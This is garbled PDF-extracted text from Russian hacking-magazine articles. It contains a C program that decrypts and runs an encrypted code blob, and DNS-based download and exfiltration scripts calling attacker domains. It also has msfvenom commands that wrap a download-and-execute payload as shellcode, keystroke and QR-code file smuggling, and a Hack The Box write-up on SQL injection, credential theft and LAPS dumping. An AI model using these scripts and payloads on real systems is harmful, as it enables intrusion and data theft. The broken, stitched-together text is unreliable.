ные фун кции. Как уже было ска зано выше, фун кция  выс тупа ет объ ектом
экспе римен та: сна чала она чита ется из основной фун кции , тем самым ее

тело сох раня ется в мас сиве бай тов . Затем имя фай ла для сох ранения,

этот буфер и его дли на переда ются фун кции , которая побай тно
записы вает содер жимое буфера в файл, одновре мен но шиф руя каж дый байт.
При этом в буфере зашиф рован ный байт заменя ет исходный. Закон чив свое
выпол нение, фун кция  воз вра щает в получен ном парамет ре ука -
затель на модифи циро ван ный буфер.

Demo
main

buff
write_file

write_file

Пос ле вывода содер жимого буфера на кон соль прог рамма очи щает его
и вызыва ет фун кцию , переда вая ей имя фай ла, который надо про -
честь, обну лен ный буфер и его дли ну. Открыв задан ный дво ичный файл,

 чита ет его до кон ца, переби рая, рас шифро вывая и сох раняя

в буфере каж дый байт. Ког да весь файл рас шифро ван, а буфер запол нен, ука -
затель на него в получен ном парамет ре воз вра щает ся в основную фун кцию,
где про исхо дит прис воение содер жимого мас сива бай тов ранее объ явленно -
му ука зате лю  на фун кцию, име ющую про тотип фун кции .

read_file

read_file

_Demo Demo
На конец, с помощью ука зыва юще го в стек ука зате ля прог рамма вызыва ет

фун кцию , толь ко что заг ружен ную из фай ла.Demo
Об рати вни мание: пос ле каж дой опе рации прог рамма выводит содер -

жимое буфера на экран. Таким обра зом, завер шив свое выпол нение, прог -
рамма оставля ет в кон соли сле дующий вывод.

Плюс в пап ке с прог раммой появ ляет ся файл , содер жащий дво ичный

зашиф рован ный код фун кции .

Data.bin
Demo

Çàøèôðîâàííûé êîä — ñëåäóþùèé óðîâåíü çàùèòû ïðèëîæåíèé
Хо тя теперь преж де, чем выпол нять код, прог рамма про вора чива ет с ним
кавер зные манипу ляции, для хакера с дизас сем бле ром и пятью минута ми
лиш него вре мени не сос тавит боль шого тру да разоб рать ся в хит рос пле тени ях
кода.

А что, если из исходно го тек ста прог раммы нап рочь уда лить фун кцию ,

а вза мен помес тить ее зашиф рован ное содер жимое в стро ковой перемен ной
(впро чем, необя затель но имен но стро ковой)? Затем в нуж ный момент
это содер жимое может быть рас шифро вано, ско пиро вано в локаль ный буфер
и выз вано для выпол нения. Один из вари антов реали зации зашиф рован ной
прог раммы при веден в сле дующем лис тинге — :

Demo

cipher_program

#include <stdio.h>
#include <string.h>
#include <cstdlib>

    int main(int argc, char* argv[])
{
      char buff[1000] = "";
       int (*_printf) (const char*, ...);
         void (*_Demo) (int (*) (const char*, ...));
   // Эта последовательность байтов должна быть записана в одну 

строку
      char code[] = "\x22\xFC\x9B\xF4\x9B\x67\xB1\x32\x87\x3F\xB1\

x32\x86\x12\xB1\x32\x85\x1B\xB1\x32\x84\x1B\xB1\x32\x83\x18\xB1\
x32\x82\x5B\xB1\x32\x81\x57\xB1\x32\x80\x20\xB1\x32\x8F\x18\xB1\
x32\x8E\x05\xB1\x32\x8D\x1B\xB1\x32\x8C\x13\xB1\x32\x8B\x56\xB1\
x32\x8A\x7D\xB1\x32\x89\x77\xFA\x32\x87\x27\x88\x22\x7F\xF4\xB3\
x73\xFC\x92\x2A\xB4";
     _printf = printf;
      int code_size = _countof(code);
         if (strcpy_s(buff, code_size, code) == 0) {

               for (int a = 0; a < code_size; a++)
               buff[a] = buff[a] ^ 0x77;

                _Demo = (void (*) (int (*) (const char*, ...))) &buff[0];
       _Demo(_printf);
   }
    return 0;

}

Что бы пос тро ить прог рамму, нуж но, как в прош лый раз, выб рать плат форму
x86, режим — Release. И, воз можно, отклю чить опти миза цию.

По бед ный вывод при ветс твен ной строч ки зашиф рован ной про цеду рой

Те перь даже при наличии исходных тек стов алго ритм работы фун кции 

будет пред став лять загад ку! Этим обсто ятель ством мож но вос поль зовать ся,
что бы скрыть некото рую кри тичес кую информа цию, нап ример про цеду ру
генера ции клю ча или про вер ку серий ного номера.

Demo

Про вер ку серий ного номера желатель но орга низо вать так, что бы даже пос -
ле рас шифров ки кода ее алго ритм пред став лял бы голово лом ку для хакера.

ÇÀÊËÞ×ÅÍÈÅ

Мно гие счи тают исполь зование самомо дифи циру юще гося кода «дур ным» при -
мером прог рамми рова ния и обви няют его в том, что он не перено сим, пло хо
сов местим с раз ными опе раци онны ми сис темами, тре бует обя затель но обра -
щать ся к ассем бле ру и так далее. С появ лени ем Windows NT этот спи сок
попол нился еще одним умо зак лючени ем, дес кать, самомо дифи циру ющий ся
код — толь ко для MS-DOS, в нор маль ных же опе раци онных сис темах он
невоз можен.

Как показы вает статья, все эти пред положе ния, мяг ко выража ясь, невер ны.
Дру гой воп рос: так ли необ ходим самомо дифи циру ющий ся код и мож но ли
без него обой тись? Низ кая эффектив ность сущес тву ющих защит (обыч но прог -
раммы лома ются быс трее, чем успе вают дой ти до легаль ного пот ребите ля)
и огромное количес тво прог раммис тов, стре мящих ся «топ тани ем кла виш»
зарабо тать себе на хлеб, сви детель ству ет, что необ ходимо уси ливать защит -
ные механиз мы любыми дос тупны ми средс тва ми, в том чис ле и рас смот -
ренным выше самомо дифи циру ющим ся кодом.

В про тивос тоянии раз работ чиков легаль ного соф та и взлом щиков с их
изощ ренным инс тру мен тари ем самомо дифи циру ющий ся код выс тупа ет
на сто роне пер вых. Хотя в текущих усло виях он пре дос тавля ет не нас толь ко
изящ ные механиз мы, которые были дос тупны в эпо ху MS-DOS, даже сей час
в руках опыт ного прог раммис та они поз воля ют реали зовать дос той ную защиту
толь ко с исполь зовани ем язы ков высоко го уров ня.

«Фун дамен таль ные осно вы хакерс тва» подош ли к кон цу. Я был рад работать
над этим фун дамен таль ным тру дом Кри са Кас пер ски, при вес ти его в соот -
ветс твие сов ремен ным реалиям и стан дартам. Как ты мог заметить, глав ная
при чина тран сфор мации прог рам мно го обес печения для IBM PC за пос ледние
пят надцать лет — это пов семес тный переход на про цес сорную архи тек туру
x86-64. Все осталь ные изме нения обус ловле ны имен но этим.

На деюсь, тебе тоже было инте рес но читать и раз бирать при меры.
Вре мя идет, тех нологии раз вива ются, фун дамен таль ные осно вы хакерс тва

тоже рас ширя ются. Поэто му при сутс тву ют мыс ли о неко ем про дол жении
матери ала в том же духе.

Бла года рю всех читате лей, осо бен но тех, кто оставлял полез ные ком мента -
рии, поз волив шие испра вить опе чат ки и допол нить матери ал. Спа сибо всем,
кто инте ресу ется темой и чита ет статьи: бла года ря вашей активнос ти я видел,
что тема «Фун дамен таль ных основ» инте рес на и нуж на.

Так же хочу поб лагода рить наших замеча тель ных редак торов, в час тнос ти:
Вален тина Хол могоро ва, без уста ли работа юще го над моими стать ями на про -
тяже нии нес коль ких лет, и Алек сан дра Лозов ско го, хотя он уже не при нима ет
учас тие в соз дании «Хакера». Имен но с ним мы начали этот про ект и решили
сде лать все мак сималь но качес твен но, нес мотря на зат рачен ное вре мя.

Све дения о даль нейшем раз витии про екта «Фун дамен таль ных основ»,
в том чис ле о пуб ликации в виде кни ги, ищи на моем сай те — 

. Хотя каж дая статья содер жит исходный код всех
рас смат рива емых при меров, этот код, дизас сем блер ные лис тинги и допол -
нитель ные матери алы по теме будут раз мещены на моем сай те для сво бод -
ного ска чива ния.

на стра нице,
пос вящен ной это му про екту

http://t2d-dev.ru/HackersBasics.html
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ВЗЛОМ

Пред ставь, что тебе уда лось про бить
сетевой периметр и получить дос туп к сер -
веру. Сер вер вхо дит во внут реннюю сеть
ком пании, а это зна чит, что ты можешь
про ник нуть и туда. Но, к сожале нию, ском -
про мети рован ный узел находит ся в DMZ
и не име ет выхода в интернет. Смо жем ли
мы проб рать ся внутрь теперь?

В боль шинс тве слу чаев внут ренние сети никак не огра ничи вают раз решение
DNS-имен про изволь ных зон. А пос коль ку при рода DNS рас пре делен ная, тот
или иной DNS-зап рос может при ходить точ но на под кон троль ный сер вер зло -
умыш ленни ка. В ито ге мы получим пол ноцен ный канал переда чи дан ных.

В наши дни сущес тву ют замеча тель ные решения для орга низа ции целых
VPN-тун нелей через DNS, такие как iodine. При этом, даже если ты не име ешь
прав root, ты всег да можешь вос поль зовать ся dnscat или dns2tcp, который
проб росит про изволь ное соеди нение, ска жем, на прок си. И в том и в дру гом
слу чае ты смо жешь пре одо леть огра ниче ния фай рво лов и начать прод вижение
по внут ренней сети.

Но оста ется нерешен ным глав ный воп рос: как передать эти прог раммы
в ском про мети рован ную сеть? В этом нам поможет 

. Глав ная их
осо бен ность в пол ном отсутс твии тре бова ний к адми нис тра тив ным при виле -
гиям и при цел на перено симость — ведь на иссле дуемом сер вере ока жет ся
либо Windows, либо Linux.

на бор моих скрип тов
для инфиль тра ции и эксфиль тра ции дан ных на все слу чаи жиз ни

ÈÍÔÈËÜÒÐÀÖÈß ×ÅÐÅÇ DNS

DNS — наш незаме нимый помощ ник. С помощью сле дующе го кода мы можем
ска чать любой файл с исполь зовани ем DNS на любую Windows:

dns_download.vbs
   On Error Resume Next
   Set objShell = CreateObject("WScript.Shell")
   Set writer = CreateObject("Scripting.FileSystemObject").

createtextfile("c:\windows\temp\out.exe")
     For d = 1 To 1190
  pos = 0

   While pos = 0
    Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt.

yourzone.tk")
   res = exec.Stdout.ReadAll()
   pos = inStr(1,res,"?")
   txt = Mid(res,pos+1,253)
      Wscript.Echo d & " " & txt
Wend

     For b = 0 To Len(txt)/2-1
     writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2)))
Next

Next

А вот скрипт для Linux:

dns_download.sh
#!/bin/bash

i   for in `seq $2`
do

host  txt |cut    4   answ=` -t "d$i.txt.$1" -d ' ' -f `
    :2:-1   -  echo ${answ } | xxd -r -p >> $3
     :2:-1echo $i ${answ }

done

Язык VBS обес печива ет нам стоп роцен тную перено симость меж ду все ми вер -
сиями Windows (в отли чие от PowerShell). Под Linux, как всег да, исполь зуем
bash.

На сто роне ском про мети рован ного сер вера скрип ты запус кают ся сле -
дующим обра зом.

Ва риант для Windows:

cscript.exe dns_download.vbs

Для Linux:

./dns_download.sh attacker.tk 1190 /tmp/dnscat

На сто роне ата кующе го — так:

 sudo ./dns_upload.py --udp --file dnscat.exe

Нап ример, на скрин шотах ниже прог рамма  переда ется через
DNS с NS-сер вера под кон троль ной мне DNS-зоны на victim с исполь зовани ем
чис того VBS.

dns2tcpc.exe

Про изволь ные дан ные будут про ходить через TXT-записи в виде hexastring.
Да лее мы можем раз вивать DNS-тун нелиро вание уже с исполь зовани ем

при выч ных инс тру мен тов.

ÝÊÑÔÈËÜÒÐÀÖÈß ×ÅÐÅÇ DNS

Ана логич ным обра зом мы можем и выг ружать фай лы с victim. На ата кующей
сто роне это дела ется так:

 sudo ./dns_download.py --udp --file secrets.docx

На сто роне жер твы — так:

cscript.exe dns_upload.vbs c:\path\to\secrets.docx attacker.tk

DNS-ØÅËË-ÊÎÄ

При экс плу ата ции уяз вимос тей из интерне та нуж но пом нить, что ата куемая
сис тема, ско рее все го, находит ся в DMZ, отку да дос тупа в интернет у нее
может и не быть. Так что заряжать экс пло ит  шелл-кодами ока -

жет ся бес полез ным заняти ем. Шелл не откро ется, и ты подума ешь, что цель
неуяз вима, про пат чена или прос то экс пло ит нерабо чий. Хотя все дело
в payload.

reverse_tcp

Мы можем внед рить наш DNS-тран спорт в любой шелл-код, исполь зуя
:dns_download_exec

  raw msfvenom -p windows/exec CMD=$(cat dns_download_exec.bat) -f
-o dns_shellcode

  raw msfvenom -p linux/x86/exec CMD=$(cat dns_download_exec.sh) -f
-o dns_shellcode

Та кой шелл-код в зависи мос ти от обсто ятель ств мож но вста вить в любой экс -
пло ит или инжектить сра зу в память. Он не толь ко ска чива ет по DNS, но еще
и запус кает при нятый файл. Таким обра зом, нап ример, мы можем сра зу
передать  либо же что-то свое.dnscat

А теперь перей дем к пивоту в реаль но труд ных обсто ятель ствах.

ÈÍÔÈËÜÒÐÀÖÈß ×ÅÐÅÇ ÍÀÆÀÒÈß ÊËÀÂÈØ

Что делать, если DNS у нас не резол вит внеш ние зоны? Такое тоже может слу -
чить ся.

Вне зависи мос ти от того, где ты ока зал ся, будь то реверс-шелл, Telnet
без воз можнос ти переда чи фай лов или, наконец RDP, на котором нет буфера
обме на, ты всег да можешь «набить» любой файл, исполь зуя отправ ку нажати -
ем кла виш.

В Linux есть спе циаль ная коман да , поз воля ющая передать текст
про изволь ной дли ны через прос тые нажатия кла виш. С помощью этой же ути -
литы мы можем пред варитель но акти виро вать фокус на том или ином окне.
И все го это го нам дос таточ но, что бы передать содер жимое любого фай ла
в любое окно. При чем мы можем передать не толь ко тек сто вый файл (какой-то
скрипт), но и бинар ный (любую прог рамму):

xdotool

setxkbmap us
cat somescript.ps1 | ./text_send.sh
cat someprog.exe | base64 | ./text_send.sh

Что бы исклю чить оши боч ный набор тек ста в том же тер минале, скрипт будет
ждать кли ка мышью по тому окну, в котором тре бует ся ввес ти текст. В при -
мере, показан ном на скрин шотах ниже, мы успешно переда ли на ата куемый
узел клас сичес кий .netcat.exe

Этот метод по ско рос ти схож с DNS и поз волил за пят надцать минут передать
 (57 Кбайт) без исполь зования побоч ных каналов, толь ко прос тым

набором тек ста. Это при мер но 125 байт/с, или 1 Мбайт за 2 ч. Это го впол не
дос таточ но для переда чи хакер ско го ПО за уме рен ное вре мя.

netcat.exe

Скрипт может ока зать ся полез ным для авто мати зации дей ствий где угод но.
Нап ример, всег да мож но исполь зовать , что бы авто мати зиро -
вать набор длин ных скрип тов на изо лиро ван ных victim, если буфер обме на
недос тупен:

text_send.sh

setxkbmap us
cat dns_download.bat | ./text_send.sh

Ес ли вер нуть ся нем ного назад, к теме с DNS, то написа ние в блок ноте кода
пер вично го DNS-заг рузчи ка на victim мож но было авто мати зиро вать, прос то
прог нав его код через  на ата кующей сто роне.text_send.sh

Ана логич но можем «набить» и бинар ник, закоди рован ный в Base64.

ÝÊÑÔÈËÜÒÐÀÖÈß ×ÅÐÅÇ QR

Ис поль зуя метод с нажати ями кла виш, мы можем заг рузить любой файл
на машину жер твы. Но как орга низо вать переда чу дан ных в обратном нап -
равле нии? Есть воз можность выкачи вать фай лы с victim через QR-коды.
К счастью, в Linux (attacker-side) рас позна вание мож но авто мати зиро вать:

 сни мает скрин шот экра на, а прог рамма из zbar-tools рас -

позна ёт код.

graphicsmagick

А вот для генера ции QR-кодов на victim-side была раз работа на прос тая
кросс-плат формен ная прог рам мка, исполь зующая биб лиоте ку 

. Код биб лиоте ки zero-depends, так что он может быть кросс-ком -

пилиро ван даже под дру гие архи тек туры про цес соров (это при годит ся, ког да
про ник новение выпол няет ся через устрой ства наподо бие IP-камер). Для ком -
пиляции и сбор ки ее под Windows и Linux выпол няем сле дующие дей ствия.

QR-Code-
generator

На сто роне жер твы (Windows):

cl /c lib\qrcodegen.c
cl /c qr_upload.c
link /out:qr_upload.exe qr_upload.obj qrcodegen.obj
"change your color scheme to black on white"
chcp 866
set TIMEOUT=1000
set SIZE=100
qr_upload.exe c:\path\to\secret.bin

На сто роне жер твы (Linux):

gcc -c lib/qrcodegen.c
gcc -c qr_upload.c
gcc qr_upload.c qrcodegen.o -o qr_upload
setterm -background white
setterm -foreground black

1000 TIMEOUT= SIZE=100 ./qr_upload /path/to/secret.bin

При генера ции QR-кодов мы зада ем через перемен ные сре ды количес тво
бай тов и про дол житель ность демонс тра ции кар тинки в мил лисекун дах. Тут
важ но тон ко нас тро ить про цесс, что бы при нима ющая сто рона успе вала рас -
позна вать дан ные. А на при нима ющей сто роне (то есть на ата кующей машине)
тем вре менем все прос то:

./qr_download.py

Скрипт вна чале поп росит ткнуть кур сором в окно, из которо го нуж но рас позна -
вать (нап ример, RDP-кли ент). Даль ше весь про цесс пол ностью авто мати зиро -
ван.

Что немало важ но, на victim QR-коды будут генери ровать ся пря мо в кон -
соль, и поль зовать ся GUI нам не понадо бит ся. Рекомен дует ся уста новить
клас сичес кую схе му «чер ное на белом» для более качес твен ного рас позна -
вания. На изоб ражении ниже показан при мер получе ния про изволь ного фай ла
с изо лиро ван ного хос та.

QR-эксфиль тра ция показы вает ско рость, сопос тавимую с DNS. Ско рость нас -
тра ивает ся самос тоятель но, в моем при мере она сос тавля ла 100 байт/с. Так
что, если ты рас полага ешь дос таточ ным запасом вре мени, впол не реаль но
выг рузить доволь но боль шие объ емы фай лов.

ÍÀÆÀÒÈß ÊËÀÂÈØ + QR = TCP

Ме тоды инфиль тра ции с  и эксфиль тра ции c QR-кодами пре дос -

тавля ют воз можность переда вать дан ные каж дый в сво ем нап равле нии. И ско -
рос ти впол не может хва тить, что бы орга низо вать TCP-тун нелиро вание, которое
поз волит нам проб росить соеди нение на изо лиро ван ный хост и начать ата -
ковать узлы внут ренних сетей.

keypress

Бе зопас ность уда лен ного рабоче го мес та сей час осо бен но акту аль на.
И даже если адми нис тра торы зап ретили буфер обме на на RDP и решения вро -
де rdp2tcp не сра бота ют либо ты про бил ся через Telnet, нес пособ ный
к переда че фай лов, то всег да есть выход — это метод с переда чей дан ных
через QR/keypress. Его невоз можно зап ретить. Кро ме того, опи сан ные здесь
методы не пот ребу ют под нимать при виле гии на машине жер твы.

На деюсь, эта статья про демонс три рова ла сис темным адми нис тра торам
опас ность резол вов про изволь ных DNS-зон. К подоб ным нас трой кам нуж но
про являть повышен ное вни мание.

mailto:s0i37@ya.ru
https://github.com/s0i37/exfiltrate


РАСКРУЧИВАЕМ ДОСТУП
К MS SQL ДО ПОЛНОГО ЗАХВАТА

МАШИНЫ

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе мы с тобой про экс плу ати -
руем SQL-инъ екцию в фор ме авто риза ции
сай та и с помощью отла доч ной фун кции
заполу чим исходник сай та и пол ный дос -
туп к MS SQL. Учет ку адми нис тра тора зах -
ватим через экс плу ата цию пра ва
WriteOwner. В общем, будет инте рес но!

Наш подопыт ный — сред няя по слож ности машина StreamIO на осно ве
Windows с пло щад ки .Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
На чина ем, как обыч но, со ска ниро вания пор тов машины.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ви дим мно го откры тых пор тов:
53 — DNS;•
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
88 — Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — LDAP;•
443 (HTTPS) — веб-сер вер Microsoft IIS/10.0;•
445 — SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
1433 — Microsoft SQL Server 2019;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

3389 — RDP;•
5985 — WinRM;•
9389 — веб-служ бы AD DS.•

Ни SMB, ни LDAP ничего пут ного не отве тили, к MS SQL дефол тные учет ные
дан ные не подош ли, поэто му нам остался толь ко веб. Тем более SSL-сер -
тификат для пор та 443 рас кры вает нам еще два домен ных име ни, которые мы
заносим в файл ./etc/hosts

10.10.11.158 streamio.htb DC.streamIO.htb watch.streamIO.htb

Глав ная стра ница сай та streamio.htb

Глав ная стра ница сай та watch.stream.htb

На пер вом сай те находим фор му авто риза ции.

Па нель логина

ÒÎ×ÊÀ ÂÕÎÄÀ
SQL Injection
Так как мы точ но зна ем, что на хос те работа ет СУБД, сто ит про верить некото -
рые методы для обхо да авто риза ции. Переби рать будем по спис ку с помощью

.Burp Intruder

Burp Intruder — вклад ка Payload Positions

Это ничего не дало, поэто му поп робу ем наг рузки для поис ка SQL-инъ екции.
И сра баты вает наг рузка  для MS SQL с вре мен ной

задер жкой, которую мож но опре делить по стол бцу Response time.

;WAITFOR DELAY '0:0:30

Ре зуль тат перебо ра

Мы под твер дили наличие уяз вимос ти, а зна чит, можем исполь зовать 
для удоб ной экс плу ата ции. Спер ва запус тим ПО для под бора наг рузки и соз -
дания шаб лона.

sqlmap

 
sqlmap -u https://streamio.htb/login.php --data='username=admin&
password=admin' -p username --batch

Ин форма ция об уяз вимос ти

Те перь мы можем прис тупить к получе нию дан ных. Пер вым делом нуж но
узнать наз вания сущес тву ющих БД (параметр ).--dbs

  
sqlmap -u https://streamio.htb/login.php --data='username=admin&
password=admin' -p username --batch --dbs

Ба зы дан ных

Тут нас инте ресу ют две базы:  и . Пер вую мы прос -

мотреть не можем, поэто му получим таб лицы вто рой (параметр ).

streamio_backup STREAMIO
--tables

  
sqlmap -u https://streamio.htb/login.php --data='username=admin&
password=admin' -p username --batch -D STREAMIO --tables

Таб лицы из базы STREAMIO

Сра зу ста новит ся ясно, что сле дующая цель — таб лица . Что бы
не пытать ся вытащить все дан ные, поп робу ем получить наз вания колонок
(параметр ).

users

--columns

    
sqlmap -u https://streamio.htb/login.php --data='username=admin&
password=admin' -p username --batch -D STREAMIO -T users --columns

Ко лон ки в таб лице users

    
sqlmap -u https://streamio.htb/login.php --data='username=admin&
password=admin' -p username --batch -D STREAMIO -T users -C 
username,password --dump

Те перь получим дан ные (параметр ) толь ко из колонок 
и .

--dump username
password

Дан ные из базы users

У нас очень мно го хешей, пред положи тель но MD5. Что бы най ти про образ, я
поль зуюсь онлай новым ресур сом .crackstation.net

Взло ман ные хеши

В ито ге мы получа ем сле дующие пары логинов и паролей, с которы ми мож но
попытать ся авто ризо вать ся на сай те.

По лучен ные учет ные дан ные

Но, к сожале нию, дос туп мы так и не получа ем. Может, на сай те есть админка?
Что бы най ти ее, будем бру тить катало ги.

ffuf    256 -u 'https://streamio.htb/FUZZ' -t -w directory_2.3_
medium_lowercase.txt

Ре зуль тат перебо ра катало гов

Есть каталог , где мы авто ризу емся от име ни поль зовате ля .admin yoshihide

Па нель адми нис тра тора

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://crackstation.net/


РАСКРУЧИВАЕМ ДОСТУП
К MS SQL ДО ПОЛНОГО ЗАХВАТА МАШИНЫ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

У нас есть нес коль ко дос тупных стра ниц. Но важ ны не сами стра ницы, а то,
как сер вер узна ет, какую заг рузить, — по име ни парамет ра.

Стра ница User

С помощью Burp Intruder мы можем проб рутить наз вание парамет ра, что бы
поп робовать най ти новые стра ницы.

Burp Intruder — вклад ка Payload Positions

Ре зуль тат ска ниро вания

В ито ге опре деля ем четыре стра ницы. Три из них нам уже извес тны, а вот
 — что-то новень кое.debug

Со дер жимое стра ницы debug

Эта стра ница дол жна поз волять читать фай лы. Нас инте ресу ет код на PHP,
а что бы его получить, нуж но исполь зовать обер тки на PHP. Давай закоди руем
стра ницу  в Base64.index.php

?debug=php://filter/convert.base64-encode/resource=index.php

По луче ние стра ницы index.php

Для декоди рова ния выделя ем инте ресу ющий нас текст пря мо в Burp
и нажима ем Ctrl-Shift-B.

Ис ходный код стра ницы

Код стра ницы рас крыл нам учет ные дан ные для под клю чения к СУБД. Вот
толь ко  не раз решил нам под клю чить ся, а  сра ботал

без проб лем. При этом мы можем прос мотреть базу дан ных
.

CrackMapExec DBeaver

streamio_backup

 cme mssql 10.10.11.158 -u db_admin -p 'B1@hx31234567890'

Ошиб ка под клю чения к СУБД MS SQL

Со дер жимое таб лицы users базы дан ных streamio_backup

От прав ляем оче ред ную пор цию хешей и получа ем новый пароль.

Кряк получен ных хешей

Про веря ем новую пару учет ных дан ных при под клю чении к ресур су SMB.

 cme smb 10.10.11.158 -u nikk37 -p 'get_dem_girls2@yahoo.com'

Про вер ка учет ных дан ных с помощью CrackMapExec

Учет ные дан ные валид ны. Точ но так же получа ется под клю чить ся к служ бе
WinRM и заб рать флаг поль зовате ля.

  evil-winrm -u nikk37 -p 'get_dem_girls2@yahoo.com' -i 10.10.11.158

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

При прод вижении очень важ но про верить все мес та, где могут быть учет ные
дан ные поль зовате лей. Пер вым делом смот рим, какие прог раммы уста нов -
лены. И находим про дук ты Mozilla.

Get-ChildItem -Path HKLM:\SOFTWARE\Microsoft\Windows\
CurrentVersion\Uninstall

Ин форма ция о Mozilla Maintenance Service

Дан ные при ложе ний обыч но хра нят ся в катало гах по путям вро де такого:

C:\Users\nikk37\Desktop\AppData\Roaming\

Со дер жимое катало га Firefox

И мы наш ли уста нов ленный Firefox, а бра узе ры — это кла дезь полез ной
информа ции для пен тесте ра. Что бы дос тать дан ные, нам нуж но опре делить ся
с про филем поль зовате ля (в нашем слу чае дефол тный), а затем ска чать
из него два фай ла —  и .logins.json key4.db

Про фили поль зовате ля

Рас шифро вать дан ные из этих фай лов очень прос то. Нам понадо бит ся скрипт
. Запус тим его из катало га со ска чан ными фай лами и получим рас -

шифро ван ные учет ки!

firepwd

Сох ранен ные в Firefox пароли

Па ролей накопи лось очень мно го, поэто му получим реаль ных сис темных поль -
зовате лей и проб рутим с помощью CrackMapExec.

net users /domain

До мен ные поль зовате ли

cme smb 10.10.11.158 -u users.txt -p passwords.txt

Ва лид ные учет ные дан ные

И получа ем нового поль зовате ля — !JDgodd

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

BloodHound

Боль ше ничего инте рес ного на самом хос те не находим, поэто му поищем
мис конфи ги (уяз вимые кон фигура ции). В этом может помочь .

Эта прог рамма ска ниру ет LDAP и исполь зует гра фы для выяв ления скры тых
и час то неп редна мерен ных вза имос вязей в сре де Active Directory и Azure.
Это помога ет лег ко иден тифици ровать очень слож ные пути ата ки, которые
в про тив ном слу чае было бы невоз можно най ти быс тро. Для работы с дан ными
нам допол нитель но нуж но уста новить СУБД Neo4j. Или мож но прос то запус -
тить ее в Docker.

BloodHound

 docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/s3cr3t 
neo4j

Что бы не закиды вать исполня емый файл BloodHound на хост, а потом не ска -
чивать резуль таты ска ниро вания обратно, мож но вос поль зовать ся 

.
вер сией

прог раммы на Python

 
  all 

bloodhound-python -d streamio.htb -u nikk37 -p
'get_dem_girls2@yahoo.com' -gc dc.streamio.htb -c -ns 10.10.
11.158

Сбор дан ных с помощью BloodHound

За тем заг ружа ем фай лы с резуль татом в глав ное при ложе ние BloodHound,
помеча ем поль зовате лей, которые уже под нашем кон тро лем (Mark as Owned),
и выбира ем опцию пос тро ения путей от таких поль зовате лей (Shortest Path
from Owned Principals).

Граф повыше ния при виле гий от поль зовате ля JDgodd

Та ким обра зом, поль зователь  име ет пра во  для груп пы

, а поль зовате ли этой груп пы могут читать пароли LAPS! При виле -

гия  дает нам воз можность сме нить вла дель ца объ екта на поль -
зовате ля, которо го мы кон тро лиру ем, и тем самым зах ватить объ ект. Давай
сде лаем это с помощью PowerShell.

JDgodd WriteOwner
Core Staff

WriteOwner

$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' 
-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(
'streamio\JDgodd', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff"
-principalidentity "streamio\JDgodd"

Те перь, ког да мы ста ли вла дель цем груп пы , добавим себя в эту

груп пу.

Core Staff

Add-DomainGroupMember -identity "Core Staff" -members "streamio\
JDgodd" -credential $Cred

Го тово: наш поль зователь может читать пароли LAPS!

LAPS

LAPS поз воля ет управлять пароля ми локаль ных учет ных записей компь юте ров,
при соеди нен ных к домену. Пароли хра нят ся в Active Directory и защище ны ACL,
поэто му про читать их могут толь ко опре делен ные поль зовате ли. LAPS уста нав -
лива ет раз ные слу чай ные пароли для учет ных записей локаль ных адми нис тра -
торов на каж дом компь юте ре в домене. Таким обра зом, мы можем зап росить
пароль локаль ного адми нис тра тора сис темы с помощью скрип та

.LAPSDumper

  python3 laps.py -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.
htb -l 10.10.11.158

По луче ние пароля LAPS

Те перь под клю чим ся с дан ным паролем как адми нис тра тор машины.

  evil-winrm -u Administrator -p '@v+422k]E;.9B0' -i 10.10.11.158

Флаг рута

И машина зах вачена!

https://raw.githubusercontent.com/lclevy/firepwd/master/firepwd.py
https://github.com/BloodHoundAD/BloodHound
https://github.com/fox-it/BloodHound.py
https://raw.githubusercontent.com/n00py/LAPSDumper/main/laps.py


ЛОМАЕМ
ВЕБ-ПРИЛОЖЕНИЕ НА FLASK

RalfHacker
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ВЗЛОМ

В этом рай тапе мы обой дем авто риза цию
в при ложе нии на Flask, затем изу чим
исходные коды при ложе ния, что бы най ти
и про экс плу ати ровать уяз вимость.
Для повыше ния при виле гий исполь зуем
уяз вимость уста нов ки пла гина в MySQL.

